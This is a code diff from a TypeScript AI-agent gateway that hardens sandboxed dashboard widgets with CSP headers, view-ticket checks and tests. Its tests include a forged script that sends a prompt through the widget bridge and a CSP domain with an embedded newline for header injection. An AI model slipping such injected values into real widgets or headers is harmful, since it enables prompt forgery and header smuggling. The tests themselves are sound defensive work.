const claims = ticket ? verifyBoardViewTicket(ticket, { nowMs: opts.nowMs }) : undefined;
|
||||
if (!claims || claims.sessionKey !== path.sessionKey || claims.name !== path.name) {
|
||||
if (!ticket) {
|
||||
sendUnauthorized(res);
|
||||
return true;
|
||||
}
|
||||
const document = (opts.store ?? boardStore).readWidgetHtml(path.sessionKey, path.name);
|
||||
if (
|
||||
!document ||
|
||||
(document.grantState !== "none" && document.grantState !== "granted") ||
|
||||
document.revision !== claims.revision ||
|
||||
document.viewGeneration !== claims.viewGeneration
|
||||
) {
|
||||
let authorized;
|
||||
try {
|
||||
authorized = resolveAuthorizedBoardWidgetView(opts.store ?? boardStore, ticket, {
|
||||
nowMs: opts.nowMs,
|
||||
});
|
||||
} catch {
|
||||
sendUnauthorized(res);
|
||||
return true;
|
||||
}
|
||||
if (authorized.sessionKey !== path.sessionKey || authorized.name !== path.name) {
|
||||
sendUnauthorized(res);
|
||||
return true;
|
||||
}
|
||||
res.statusCode = 200;
|
||||
res.setHeader("Content-Type", "text/html; charset=utf-8");
|
||||
res.setHeader("Content-Security-Policy", BOARD_WIDGET_CSP);
|
||||
res.setHeader(
|
||||
"Content-Security-Policy",
|
||||
buildBoardWidgetContentSecurityPolicy(authorized.document),
|
||||
);
|
||||
res.setHeader("Cache-Control", "no-cache");
|
||||
res.end(document.html);
|
||||
res.end(authorized.document.html);
|
||||
return true;
|
||||
}
|
||||
|
||||
@@ -0,0 +1,66 @@
|
||||
import { describe, expect, it } from "vitest";
|
||||
import {
|
||||
buildSandboxHostContentSecurityPolicy,
|
||||
decodeSandboxHostCsp,
|
||||
} from "../agents/sandbox-host.js";
|
||||
import type { BoardWidgetDocument } from "../boards/board-store.js";
|
||||
import {
|
||||
buildBoardWidgetContentSecurityPolicy,
|
||||
buildBoardWidgetSandboxPath,
|
||||
} from "./board-sandbox.js";
|
||||
|
||||
function document(
|
||||
grantState: "pending" | "granted",
|
||||
netOrigins = ["https://api.open-meteo.com"],
|
||||
): BoardWidgetDocument {
|
||||
return {
|
||||
html: "<!doctype html>",
|
||||
revision: 1,
|
||||
sha256: "a".repeat(64),
|
||||
viewGeneration: "b".repeat(32),
|
||||
grantState,
|
||||
declared: { netOrigins },
|
||||
};
|
||||
}
|
||||
|
||||
describe("board widget sandbox CSP", () => {
|
||||
it("emits no network authority while a declaration is pending", () => {
|
||||
const path = buildBoardWidgetSandboxPath(document("pending"));
|
||||
|
||||
expect(path).toBe("/mcp-app-sandbox");
|
||||
expect(buildSandboxHostContentSecurityPolicy()).toContain("connect-src 'none'");
|
||||
expect(buildSandboxHostContentSecurityPolicy()).toContain("webrtc 'block'");
|
||||
expect(buildBoardWidgetContentSecurityPolicy(document("pending"))).toContain(
|
||||
"connect-src 'none'",
|
||||
);
|
||||
expect(buildBoardWidgetContentSecurityPolicy(document("pending"))).toContain("webrtc 'block'");
|
||||
});
|
||||
|
||||
it("emits only the granted widget origins", () => {
|
||||
const path = buildBoardWidgetSandboxPath(
|
||||
document("granted", [
|
||||
"https://api.open-meteo.com",
|
||||
"https://status.example:8443",
|
||||
"https://[2001:db8::1]:9443",
|
||||
]),
|
||||
);
|
||||
const encoded = new URL(path, "https://sandbox.example").searchParams.get("csp");
|
||||
const csp = decodeSandboxHostCsp(encoded);
|
||||
|
||||
expect(csp).toEqual({
|
||||
connectDomains: [
|
||||
"https://api.open-meteo.com",
|
||||
"https://status.example:8443",
|
||||
"https://[2001:db8::1]:9443",
|
||||
],
|
||||
});
|
||||
expect(buildSandboxHostContentSecurityPolicy(csp)).toContain(
|
||||
"connect-src https://api.open-meteo.com https://status.example:8443 https://[2001:db8::1]:9443",
|
||||
);
|
||||
expect(
|
||||
buildBoardWidgetContentSecurityPolicy(document("granted", csp?.connectDomains)),
|
||||
).toContain(
|
||||
"connect-src https://api.open-meteo.com https://status.example:8443 https://[2001:db8::1]:9443",
|
||||
);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,33 @@
|
||||
import { buildSandboxHostPath } from "../agents/sandbox-host.js";
|
||||
import type { BoardWidgetDocument } from "../boards/board-store.js";
|
||||
|
||||
function grantedConnectOrigins(document: BoardWidgetDocument): string[] | undefined {
|
||||
if (!("html" in document) || document.grantState !== "granted") {
|
||||
return undefined;
|
||||
}
|
||||
const origins = document.declared?.netOrigins;
|
||||
return origins?.length ? origins : undefined;
|
||||
}
|
||||
|
||||
export function buildBoardWidgetSandboxPath(document: BoardWidgetDocument): string {
|
||||
const connectDomains = grantedConnectOrigins(document);
|
||||
return buildSandboxHostPath(connectDomains ? { connectDomains } : undefined);
|
||||
}
|
||||
|
||||
/** Defense in depth for direct/legacy widget document loads outside the proxy host. */
|
||||
export function buildBoardWidgetContentSecurityPolicy(document: BoardWidgetDocument): string {
|
||||
const connectSources = grantedConnectOrigins(document)?.join(" ") ?? "'none'";
|
||||
return [
|
||||
"default-src 'none'",
|
||||
"script-src 'unsafe-inline'",
|
||||
"style-src 'unsafe-inline'",
|
||||
"img-src data:",
|
||||
`connect-src ${connectSources}`,
|
||||
"webrtc 'block'",
|
||||
"base-uri 'none'",
|
||||
"object-src 'none'",
|
||||
"form-action 'none'",
|
||||
"frame-src 'none'",
|
||||
"sandbox allow-scripts",
|
||||
].join("; ");
|
||||
}
|
||||
@@ -0,0 +1,31 @@
|
||||
import { BoardValidationError } from "../boards/board-layout.js";
|
||||
import type { BoardStore, BoardWidgetDocument } from "../boards/board-store.js";
|
||||
import { verifyBoardViewTicket } from "./board-view-ticket.js";
|
||||
|
||||
type AuthorizedBoardWidgetView = {
|
||||
sessionKey: string;
|
||||
name: string;
|
||||
document: Extract<BoardWidgetDocument, { html: string }>;
|
||||
};
|
||||
|
||||
export function resolveAuthorizedBoardWidgetView(
|
||||
store: BoardStore,
|
||||
ticket: string,
|
||||
options: { nowMs?: number } = {},
|
||||
): AuthorizedBoardWidgetView {
|
||||
const claims = verifyBoardViewTicket(ticket, options);
|
||||
if (!claims) {
|
||||
throw new BoardValidationError("invalid_operation", "board widget view ticket is invalid");
|
||||
}
|
||||
const document = store.readWidgetHtml(claims.sessionKey, claims.name);
|
||||
if (
|
||||
!document ||
|
||||
!("html" in document) ||
|
||||
(document.grantState !== "none" && document.grantState !== "granted") ||
|
||||
document.revision !== claims.revision ||
|
||||
document.viewGeneration !== claims.viewGeneration
|
||||
) {
|
||||
throw new BoardValidationError("invalid_operation", "board widget view ticket is stale");
|
||||
}
|
||||
return { sessionKey: claims.sessionKey, name: claims.name, document };
|
||||
}
|
||||
@@ -1,12 +1,12 @@
|
||||
import type { IncomingMessage } from "node:http";
|
||||
import { describe, expect, it } from "vitest";
|
||||
import { buildMcpAppSandboxPath } from "../agents/mcp-app-sandbox.js";
|
||||
import { createMcpAppSandboxHttpServer } from "./mcp-app-sandbox-http.js";
|
||||
import { createSandboxHostHttpServer } from "./mcp-app-sandbox-http.js";
|
||||
import { makeMockHttpResponse } from "./test-http-response.js";
|
||||
|
||||
function request(url: string, method: "GET" | "HEAD" | "POST" = "GET") {
|
||||
const { res, end, setHeader } = makeMockHttpResponse();
|
||||
const server = createMcpAppSandboxHttpServer();
|
||||
const server = createSandboxHostHttpServer();
|
||||
server.emit("request", { url, method } as IncomingMessage, res);
|
||||
server.removeAllListeners();
|
||||
return { res, end, setHeader };
|
||||
@@ -26,6 +26,7 @@ describe("MCP App sandbox HTTP origin", () => {
|
||||
(call) => call[0] === "Content-Security-Policy",
|
||||
)?.[1];
|
||||
expect(String(csp)).toContain("connect-src https://api.example.com");
|
||||
expect(String(csp)).toContain("webrtc 'block'");
|
||||
expect(String(csp)).toContain("script-src 'self' 'unsafe-inline' https://cdn.example.com");
|
||||
expect(String(csp)).toContain("font-src 'self' https://cdn.example.com");
|
||||
expect(String(csp)).toContain("frame-ancestors");
|
||||
@@ -39,6 +40,12 @@ describe("MCP App sandbox HTTP origin", () => {
|
||||
expect(result.end).toHaveBeenCalledWith(expect.stringContaining("document.referrer"));
|
||||
expect(result.end).toHaveBeenCalledWith(expect.stringContaining("sandbox-proxy-ready"));
|
||||
expect(result.end).toHaveBeenCalledWith(expect.stringContaining("allow-scripts allow-forms"));
|
||||
expect(result.end).toHaveBeenCalledWith(
|
||||
expect.stringContaining("openclaw:widget-bridge-port-offer"),
|
||||
);
|
||||
expect(result.end).toHaveBeenCalledWith(expect.stringContaining("widgetBridgePortOffered"));
|
||||
const proxyHtml = String(result.end.mock.calls.at(-1)?.[0]);
|
||||
expect(proxyHtml).toContain("nextInner.srcdoc = params.html");
|
||||
});
|
||||
|
||||
it("supports HEAD and rejects other paths, methods, and malformed policy", () => {
|
||||
@@ -53,5 +60,23 @@ describe("MCP App sandbox HTTP origin", () => {
|
||||
expect(request(`${buildMcpAppSandboxPath()}?csp=${jsonButNotCsp}`).res.statusCode).toBe(400);
|
||||
expect(request(`${buildMcpAppSandboxPath()}?csp=`).res.statusCode).toBe(400);
|
||||
expect(request("http://[", "GET").res.statusCode).toBe(400);
|
||||
const unsafeHeaderPolicy = Buffer.from(
|
||||
JSON.stringify({ connectDomains: ["https://api.\nexample.com"] }),
|
||||
"utf8",
|
||||
).toString("base64url");
|
||||
expect(request(`${buildMcpAppSandboxPath()}?csp=${unsafeHeaderPolicy}`).res.statusCode).toBe(
|
||||
400,
|
||||
);
|
||||
});
|
||||
|
||||
it("emits canonical ASCII origins for validated CSP domains", () => {
|
||||
const result = request(
|
||||
buildMcpAppSandboxPath({ connectDomains: ["https://b\u00fccher.example"] }),
|
||||
);
|
||||
|
||||
expect(result.setHeader).toHaveBeenCalledWith(
|
||||
"Content-Security-Policy",
|
||||
expect.stringContaining("connect-src https://xn--bcher-kva.example"),
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -7,11 +7,11 @@ import {
|
||||
import { createServer as createHttpsServer } from "node:https";
|
||||
import type { TlsOptions } from "node:tls";
|
||||
import {
|
||||
buildMcpAppContentSecurityPolicy,
|
||||
buildMcpAppSandboxProxyHtml,
|
||||
decodeMcpAppSandboxCsp,
|
||||
MCP_APP_SANDBOX_PATH,
|
||||
} from "../agents/mcp-app-sandbox.js";
|
||||
buildSandboxHostContentSecurityPolicy,
|
||||
buildSandboxHostProxyHtml,
|
||||
decodeSandboxHostCsp,
|
||||
SANDBOX_HOST_PATH,
|
||||
} from "../agents/sandbox-host.js";
|
||||
|
||||
const MCP_APP_PERMISSIONS_POLICY = "camera=(), microphone=(), geolocation=(), clipboard-write=()";
|
||||
|
||||
@@ -24,7 +24,7 @@ function handleMcpAppSandboxHttpRequest(req: IncomingMessage, res: ServerRespons
|
||||
res.end("Bad Request");
|
||||
return;
|
||||
}
|
||||
if (url.pathname !== MCP_APP_SANDBOX_PATH || (req.method !== "GET" && req.method !== "HEAD")) {
|
||||
if (url.pathname !== SANDBOX_HOST_PATH || (req.method !== "GET" && req.method !== "HEAD")) {
|
||||
res.statusCode = 404;
|
||||
res.end("Not Found");
|
||||
return;
|
||||
@@ -32,7 +32,7 @@ function handleMcpAppSandboxHttpRequest(req: IncomingMessage, res: ServerRespons
|
||||
|
||||
let csp;
|
||||
try {
|
||||
csp = decodeMcpAppSandboxCsp(url.searchParams.get("csp"));
|
||||
csp = decodeSandboxHostCsp(url.searchParams.get("csp"));
|
||||
} catch {
|
||||
res.statusCode = 400;
|
||||
res.setHeader("Content-Type", "text/plain; charset=utf-8");
|
||||
@@ -43,17 +43,17 @@ function handleMcpAppSandboxHttpRequest(req: IncomingMessage, res: ServerRespons
|
||||
res.statusCode = 200;
|
||||
res.setHeader("Content-Type", "text/html; charset=utf-8");
|
||||
res.setHeader("Cache-Control", "no-store");
|
||||
res.setHeader("Content-Security-Policy", buildMcpAppContentSecurityPolicy(csp));
|
||||
res.setHeader("Content-Security-Policy", buildSandboxHostContentSecurityPolicy(csp));
|
||||
res.setHeader("Permissions-Policy", MCP_APP_PERMISSIONS_POLICY);
|
||||
res.setHeader("Cross-Origin-Resource-Policy", "cross-origin");
|
||||
res.setHeader("Origin-Agent-Cluster", "?1");
|
||||
res.setHeader("Referrer-Policy", "no-referrer");
|
||||
res.setHeader("X-Content-Type-Options", "nosniff");
|
||||
res.end(req.method === "HEAD" ? undefined : buildMcpAppSandboxProxyHtml());
|
||||
res.end(req.method === "HEAD" ? undefined : buildSandboxHostProxyHtml());
|
||||
}
|
||||
|
||||
/** Dedicated listener: this origin must never serve Control UI or authenticated Gateway data. */
|
||||
export function createMcpAppSandboxHttpServer(tlsOptions?: TlsOptions): HttpServer {
|
||||
export function createSandboxHostHttpServer(tlsOptions?: TlsOptions): HttpServer {
|
||||
const handler = (req: IncomingMessage, res: ServerResponse) => {
|
||||
handleMcpAppSandboxHttpRequest(req, res);
|
||||
};
|
||||
|
||||
@@ -9,6 +9,9 @@ const CURRENT_TRAIN_METHODS = [
|
||||
"question.list",
|
||||
"session.discussion.info",
|
||||
"session.discussion.open",
|
||||
"board.prompt.authorize",
|
||||
"board.data.read",
|
||||
"board.action",
|
||||
"terminal.open",
|
||||
"terminal.input",
|
||||
"terminal.resize",
|
||||
|
||||
@@ -443,6 +443,9 @@ const CORE_GATEWAY_METHOD_SPECS: readonly CoreGatewayMethodSpec[] = [
|
||||
{ name: "conversations.list", scope: "operator.admin", since: "<=2026.7" },
|
||||
{ name: "session.discussion.info", scope: "operator.read", since: "2026.7" },
|
||||
{ name: "session.discussion.open", scope: "operator.write", since: "2026.7" },
|
||||
{ name: "board.prompt.authorize", scope: "operator.read", since: "2026.7" },
|
||||
{ name: "board.data.read", scope: "operator.read", since: "2026.7" },
|
||||
{ name: "board.action", scope: "operator.write", since: "2026.7" },
|
||||
] as const;
|
||||
|
||||
const CORE_GATEWAY_METHOD_SPEC_BY_NAME: ReadonlyMap<string, CoreGatewayMethodSpec> = new Map(
|
||||
|
||||
@@ -58,7 +58,7 @@ describe("listGatewayMethods", () => {
|
||||
});
|
||||
|
||||
it("appends new methods after model probing without shifting older method indices", () => {
|
||||
expect(listGatewayMethods().slice(-9)).toEqual([
|
||||
expect(listGatewayMethods().slice(-12)).toEqual([
|
||||
"models.probe",
|
||||
"migrations.memory.plan",
|
||||
"migrations.memory.apply",
|
||||
@@ -68,6 +68,9 @@ describe("listGatewayMethods", () => {
|
||||
"conversations.list",
|
||||
"session.discussion.info",
|
||||
"session.discussion.open",
|
||||
"board.prompt.authorize",
|
||||
"board.data.read",
|
||||
"board.action",
|
||||
]);
|
||||
const methods = listGatewayMethods();
|
||||
expect(methods.indexOf("node.pluginSurface.refresh")).toBe(
|
||||
@@ -128,7 +131,7 @@ describe("listGatewayMethods", () => {
|
||||
"exec.approval.get",
|
||||
]);
|
||||
expect(methods).toContain("tts.speak");
|
||||
expect(coreMethods.slice(-16)).toEqual([
|
||||
expect(coreMethods.slice(-19)).toEqual([
|
||||
"sessions.catalog.continue",
|
||||
"sessions.catalog.archive",
|
||||
"approval.get",
|
||||
@@ -145,6 +148,9 @@ describe("listGatewayMethods", () => {
|
||||
"conversations.list",
|
||||
"session.discussion.info",
|
||||
"session.discussion.open",
|
||||
"board.prompt.authorize",
|
||||
"board.data.read",
|
||||
"board.action",
|
||||
]);
|
||||
expect(methods.indexOf("approval.get")).toBeGreaterThan(methods.indexOf("tts.speak"));
|
||||
expect(methods.indexOf("approval.resolve")).toBe(methods.indexOf("approval.get") + 1);
|
||||
|
||||
@@ -400,6 +400,9 @@ export const coreGatewayHandlers: GatewayRequestHandlers = {
|
||||
"board.widget.grant",
|
||||
"board.widget.appView",
|
||||
"board.event",
|
||||
"board.prompt.authorize",
|
||||
"board.data.read",
|
||||
"board.action",
|
||||
],
|
||||
loadHandlers: loadBoardHandlers,
|
||||
}),
|
||||
|
||||
@@ -0,0 +1,77 @@
|
||||
import { vi } from "vitest";
|
||||
import { InMemoryBoardStore } from "../../boards/board-store.js";
|
||||
import { createBoardHandlers } from "./board.js";
|
||||
import type { GatewayRequestContext, RespondFn } from "./types.js";
|
||||
|
||||
type BoardHandlerDependencies = NonNullable<Parameters<typeof createBoardHandlers>[3]>;
|
||||
type BoardMcpAppDependencies = {
|
||||
resolveActiveView: NonNullable<BoardHandlerDependencies["resolveActiveView"]>;
|
||||
resolveAllowedToolNames: NonNullable<BoardHandlerDependencies["resolveAllowedToolNames"]>;
|
||||
mintFromTranscript: NonNullable<BoardHandlerDependencies["mintFromTranscript"]>;
|
||||
};
|
||||
|
||||
export function createMcpAppDependencies(): BoardMcpAppDependencies {
|
||||
let lease = 0;
|
||||
const runtime = { getCatalog: vi.fn() };
|
||||
return {
|
||||
resolveActiveView: vi.fn(async ({ viewId }: { viewId: string }) => ({
|
||||
runtime,
|
||||
view: {
|
||||
viewId,
|
||||
serverName: "server",
|
||||
toolName: "tool",
|
||||
uiResourceUri: "ui://resource",
|
||||
toolCallId: "call",
|
||||
allowedAppToolNames: new Set(["server.refresh", "server.search"]),
|
||||
},
|
||||
})),
|
||||
resolveAllowedToolNames: vi.fn(async () => ["server.refresh", "server.search"]),
|
||||
mintFromTranscript: vi.fn(async ({ readOnly }: { readOnly: boolean }) => {
|
||||
lease += 1;
|
||||
return {
|
||||
runtime,
|
||||
view: {
|
||||
viewId: `mcp-app-board-${lease}`,
|
||||
expiresAtMs: 10_000 + lease,
|
||||
...(readOnly ? { readOnly: true as const } : {}),
|
||||
},
|
||||
};
|
||||
}),
|
||||
} as unknown as BoardMcpAppDependencies;
|
||||
}
|
||||
|
||||
export function createBoardHarness(
|
||||
readCanvasHtml?: Parameters<typeof createBoardHandlers>[2],
|
||||
dependencies: BoardHandlerDependencies = {},
|
||||
store: InMemoryBoardStore = new InMemoryBoardStore(),
|
||||
contextOverrides: Partial<GatewayRequestContext> = {},
|
||||
) {
|
||||
const defaults = createMcpAppDependencies();
|
||||
const mcpApp: BoardHandlerDependencies & BoardMcpAppDependencies = {
|
||||
...dependencies,
|
||||
resolveActiveView: dependencies.resolveActiveView ?? defaults.resolveActiveView,
|
||||
resolveAllowedToolNames:
|
||||
dependencies.resolveAllowedToolNames ?? defaults.resolveAllowedToolNames,
|
||||
mintFromTranscript: dependencies.mintFromTranscript ?? defaults.mintFromTranscript,
|
||||
};
|
||||
const broadcast = vi.fn();
|
||||
const handlers = createBoardHandlers(store, undefined, readCanvasHtml, mcpApp);
|
||||
const invoke = async (method: string, params: Record<string, unknown>) => {
|
||||
const respond = vi.fn<RespondFn>();
|
||||
await handlers[method]!({
|
||||
req: { type: "req", id: "test", method, params },
|
||||
params,
|
||||
client: null,
|
||||
isWebchatConnect: () => false,
|
||||
respond,
|
||||
context: {
|
||||
broadcast,
|
||||
getMcpAppSandboxPort: () => 18790,
|
||||
getRuntimeConfig: () => ({ mcp: { apps: { enabled: true } } }),
|
||||
...contextOverrides,
|
||||
} as unknown as GatewayRequestContext,
|
||||
});
|
||||
return respond;
|
||||
};
|
||||
return { store, broadcast, invoke, mcpApp };
|
||||
}
|
||||
@@ -2,7 +2,6 @@ import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
|
||||
import type { BoardSnapshot } from "../../../packages/gateway-protocol/src/index.js";
|
||||
import { useAutoCleanupTempDirTracker } from "../../../test/helpers/temp-dir.js";
|
||||
import { resetBoardEventNoticeStateForTest } from "../../boards/board-notices.js";
|
||||
import { InMemoryBoardStore } from "../../boards/board-store.js";
|
||||
import { SqliteBoardStore } from "../../boards/sqlite-board-store.js";
|
||||
import { replaceSessionEntrySync } from "../../config/sessions/session-accessor.entry.js";
|
||||
import { peekSystemEvents, resetSystemEventsForTest } from "../../infra/system-events.js";
|
||||
@@ -12,7 +11,10 @@ import {
|
||||
} from "../../state/openclaw-agent-db.js";
|
||||
import { closeOpenClawStateDatabaseForTest } from "../../state/openclaw-state-db.js";
|
||||
import { resolveCoreOperatorGatewayMethodScope } from "../methods/core-descriptors.js";
|
||||
import { createBoardHandlers } from "./board.js";
|
||||
import {
|
||||
createBoardHarness as createHarness,
|
||||
createMcpAppDependencies,
|
||||
} from "./board.test-support.js";
|
||||
import { sessionMutationHandlers } from "./sessions-mutations.js";
|
||||
import type { GatewayRequestContext, RespondFn } from "./types.js";
|
||||
|
||||
@@ -26,63 +28,6 @@ vi.mock("./sessions.runtime.js", () => ({
|
||||
})),
|
||||
}));
|
||||
|
||||
type BoardMcpAppDependencies = NonNullable<Parameters<typeof createBoardHandlers>[3]>;
|
||||
|
||||
function createMcpAppDependencies(): BoardMcpAppDependencies {
|
||||
let lease = 0;
|
||||
const runtime = { getCatalog: vi.fn() };
|
||||
return {
|
||||
resolveActiveView: vi.fn(async ({ viewId }: { viewId: string }) => ({
|
||||
runtime,
|
||||
view: {
|
||||
viewId,
|
||||
serverName: "server",
|
||||
toolName: "tool",
|
||||
uiResourceUri: "ui://resource",
|
||||
toolCallId: "call",
|
||||
allowedAppToolNames: new Set(["server.refresh", "server.search"]),
|
||||
},
|
||||
})),
|
||||
resolveAllowedToolNames: vi.fn(async () => ["server.refresh", "server.search"]),
|
||||
mintFromTranscript: vi.fn(async ({ readOnly }: { readOnly: boolean }) => {
|
||||
lease += 1;
|
||||
return {
|
||||
runtime,
|
||||
view: {
|
||||
viewId: `mcp-app-board-${lease}`,
|
||||
expiresAtMs: 10_000 + lease,
|
||||
...(readOnly ? { readOnly: true as const } : {}),
|
||||
},
|
||||
};
|
||||
}),
|
||||
} as unknown as BoardMcpAppDependencies;
|
||||
}
|
||||
|
||||
function createHarness(
|
||||
readCanvasHtml?: Parameters<typeof createBoardHandlers>[2],
|
||||
mcpApp: BoardMcpAppDependencies = createMcpAppDependencies(),
|
||||
store: InMemoryBoardStore = new InMemoryBoardStore(),
|
||||
) {
|
||||
const broadcast = vi.fn();
|
||||
const handlers = createBoardHandlers(store, undefined, readCanvasHtml, mcpApp);
|
||||
const invoke = async (method: string, params: Record<string, unknown>) => {
|
||||
const respond = vi.fn<RespondFn>();
|
||||
await handlers[method]!({
|
||||
req: { type: "req", id: "test", method, params },
|
||||
params,
|
||||
client: null,
|
||||
isWebchatConnect: () => false,
|
||||
respond,
|
||||
context: {
|
||||
broadcast,
|
||||
getRuntimeConfig: () => ({ mcp: { apps: { enabled: true } } }),
|
||||
} as unknown as GatewayRequestContext,
|
||||
});
|
||||
return respond;
|
||||
};
|
||||
return { store, broadcast, invoke, mcpApp };
|
||||
}
|
||||
|
||||
describe("board gateway methods", () => {
|
||||
const tempDirs = useAutoCleanupTempDirTracker(afterEach);
|
||||
|
||||
@@ -106,6 +51,9 @@ describe("board gateway methods", () => {
|
||||
"board.widget.grant",
|
||||
"board.widget.appView",
|
||||
"board.event",
|
||||
"board.prompt.authorize",
|
||||
"board.data.read",
|
||||
"board.action",
|
||||
].map((method) => [method, resolveCoreOperatorGatewayMethodScope(method)]),
|
||||
),
|
||||
).toEqual({
|
||||
@@ -115,6 +63,9 @@ describe("board gateway methods", () => {
|
||||
"board.widget.grant": "operator.approvals",
|
||||
"board.widget.appView": "operator.read",
|
||||
"board.event": "operator.write",
|
||||
"board.prompt.authorize": "operator.read",
|
||||
"board.data.read": "operator.read",
|
||||
"board.action": "operator.write",
|
||||
});
|
||||
});
|
||||
|
||||
@@ -194,6 +145,19 @@ describe("board gateway methods", () => {
|
||||
expect(statusFrameUrl).toMatch(
|
||||
/^\/__openclaw__\/board\/agent%3Amain%3Amain\/status\/index\.html\?bt=v1\./u,
|
||||
);
|
||||
expect(first.widgets.find((widget) => widget.name === "plain")).toMatchObject({
|
||||
viewTicket: expect.stringMatching(/^v1\./u),
|
||||
viewTicketTtlMs: 120_000,
|
||||
viewGeneration: expect.stringMatching(/^[a-f0-9]{32}$/u),
|
||||
sandboxUrl: "/mcp-app-sandbox",
|
||||
sandboxPort: 18790,
|
||||
});
|
||||
expect(first.widgets.find((widget) => widget.name === "status")).toMatchObject({
|
||||
viewTicket: expect.stringMatching(/^v1\./u),
|
||||
viewGeneration: expect.stringMatching(/^[a-f0-9]{32}$/u),
|
||||
sandboxUrl: expect.stringMatching(/^\/mcp-app-sandbox\?csp=/u),
|
||||
sandboxPort: 18790,
|
||||
});
|
||||
expect(first.widgets.find((widget) => widget.name === "status")?.declaredSummary).toEqual([
|
||||
"Network access: https://status.example",
|
||||
"Tool access: status.refresh",
|
||||
@@ -213,6 +177,29 @@ describe("board gateway methods", () => {
|
||||
);
|
||||
});
|
||||
|
||||
it("starts the shared sandbox host only when an admitted widget needs it", async () => {
|
||||
let sandboxPort: number | undefined;
|
||||
const ensureSandboxHostPort = vi.fn(async () => {
|
||||
sandboxPort = 18790;
|
||||
return sandboxPort;
|
||||
});
|
||||
const { invoke } = createHarness(undefined, undefined, undefined, {
|
||||
getMcpAppSandboxPort: () => sandboxPort,
|
||||
ensureSandboxHostPort,
|
||||
});
|
||||
await invoke("board.widget.put", {
|
||||
sessionKey: "agent:main:main",
|
||||
name: "status",
|
||||
content: { kind: "html", html: "<p>ok</p>" },
|
||||
});
|
||||
|
||||
const response = await invoke("board.get", { sessionKey: "agent:main:main" });
|
||||
const snapshot = response.mock.calls[0]?.[1] as BoardSnapshot;
|
||||
|
||||
expect(ensureSandboxHostPort).toHaveBeenCalledOnce();
|
||||
expect(snapshot.widgets[0]).toMatchObject({ sandboxPort: 18790 });
|
||||
});
|
||||
|
||||
it("applies updates and broadcasts board.changed", async () => {
|
||||
const { invoke, broadcast } = createHarness();
|
||||
const response = await invoke("board.update", {
|
||||
@@ -502,7 +489,7 @@ describe("board gateway methods", () => {
|
||||
);
|
||||
const authorizeAppInteraction = vi
|
||||
.mocked(mcpApp.mintFromTranscript)
|
||||
.mock.calls.at(-1)?.[0].authorizeAppInteraction;
|
||||
.mock.calls.at(-1)?.[0]?.authorizeAppInteraction;
|
||||
if (!authorizeAppInteraction) {
|
||||
throw new Error("interactive board lease must carry a grant check");
|
||||
}
|
||||
@@ -575,10 +562,14 @@ describe("board gateway methods", () => {
|
||||
});
|
||||
|
||||
expect(readCanvasDocument).toHaveBeenCalledWith("cv_123");
|
||||
expect(store.readWidgetHtml("session", "canvas-widget")).toMatchObject({
|
||||
html: "<!doctype html><p>same wrapped bytes</p>",
|
||||
revision: 1,
|
||||
});
|
||||
const stored = store.readWidgetHtml("session", "canvas-widget");
|
||||
expect(stored).toMatchObject({ revision: 1 });
|
||||
expect(stored && "html" in stored ? stored.html : "").toContain(
|
||||
"<!doctype html><p>same wrapped bytes</p>",
|
||||
);
|
||||
expect(stored && "html" in stored ? stored.html : "").toContain(
|
||||
"openclaw:widget-bridge-port-offer",
|
||||
);
|
||||
expect(response).toHaveBeenCalledWith(
|
||||
true,
|
||||
expect.objectContaining({ widgets: [expect.objectContaining({ name: "canvas-widget" })] }),
|
||||
@@ -590,6 +581,81 @@ describe("board gateway methods", () => {
|
||||
});
|
||||
});
|
||||
|
||||
it("installs the trusted bridge before arbitrary complete HTML", async () => {
|
||||
const { invoke, store } = createHarness();
|
||||
const untrusted = '<!doctype html><script>void window.openclaw?.prompt.send("forged")</script>';
|
||||
|
||||
const response = await invoke("board.widget.put", {
|
||||
sessionKey: "session",
|
||||
name: "complete-document",
|
||||
title: "Complete document",
|
||||
content: { kind: "html", html: untrusted },
|
||||
declared: {
|
||||
netOrigins: ["https://api.open-meteo.com"],
|
||||
tools: ["prompt"],
|
||||
},
|
||||
});
|
||||
|
||||
expect(response.mock.calls[0]?.[0]).toBe(true);
|
||||
const stored = store.readWidgetHtml("session", "complete-document");
|
||||
const html = stored && "html" in stored ? stored.html : "";
|
||||
expect(html).toContain("openclaw:widget-host-init-ack");
|
||||
expect(html.indexOf("openclaw:widget-bridge-port-offer")).toBeLessThan(html.indexOf(untrusted));
|
||||
expect(html).toContain("connect-src https://api.open-meteo.com");
|
||||
});
|
||||
|
||||
it("uses one canonical declaration for wrapper bytes and persisted grants", async () => {
|
||||
const { invoke, store } = createHarness();
|
||||
const content = { kind: "html" as const, html: "<p>canonical</p>" };
|
||||
|
||||
await invoke("board.widget.put", {
|
||||
sessionKey: "session",
|
||||
name: "canonical",
|
||||
content,
|
||||
declared: {
|
||||
netOrigins: ["https://z.example", "https://a.example", "https://z.example"],
|
||||
tools: ["sessions.list", "prompt", "prompt"],
|
||||
},
|
||||
});
|
||||
await invoke("board.widget.grant", {
|
||||
sessionKey: "session",
|
||||
name: "canonical",
|
||||
decision: "granted",
|
||||
revision: 1,
|
||||
instanceId: store.getSnapshot("session").widgets[0]?.instanceId,
|
||||
});
|
||||
const granted = store.readWidgetHtml("session", "canonical");
|
||||
|
||||
const updated = await invoke("board.widget.put", {
|
||||
sessionKey: "session",
|
||||
name: "canonical",
|
||||
content,
|
||||
declared: {
|
||||
netOrigins: ["https://a.example", "https://z.example"],
|
||||
tools: ["prompt", "sessions.list"],
|
||||
},
|
||||
});
|
||||
|
||||
expect(updated.mock.calls[0]?.[1]).toEqual(
|
||||
expect.objectContaining({
|
||||
widgets: [
|
||||
expect.objectContaining({
|
||||
name: "canonical",
|
||||
grantState: "granted",
|
||||
declared: {
|
||||
netOrigins: ["https://a.example", "https://z.example"],
|
||||
tools: ["prompt", "sessions.list"],
|
||||
},
|
||||
}),
|
||||
],
|
||||
}),
|
||||
);
|
||||
expect(store.readWidgetHtml("session", "canonical")).toMatchObject({
|
||||
sha256: granted && "sha256" in granted ? granted.sha256 : "missing",
|
||||
grantState: "granted",
|
||||
});
|
||||
});
|
||||
|
||||
it("rejects Canvas sources whose strict sandbox forbids scripts", async () => {
|
||||
const readCanvasDocument = vi.fn(async () => ({ html: "<script>unsafe()</script>" }));
|
||||
const { invoke, store, broadcast } = createHarness(readCanvasDocument);
|
||||
@@ -707,6 +773,170 @@ describe("board gateway methods", () => {
|
||||
expect(peekSystemEvents("session")).toEqual(['[dashboard] {"count":1} on widget counter']);
|
||||
});
|
||||
|
||||
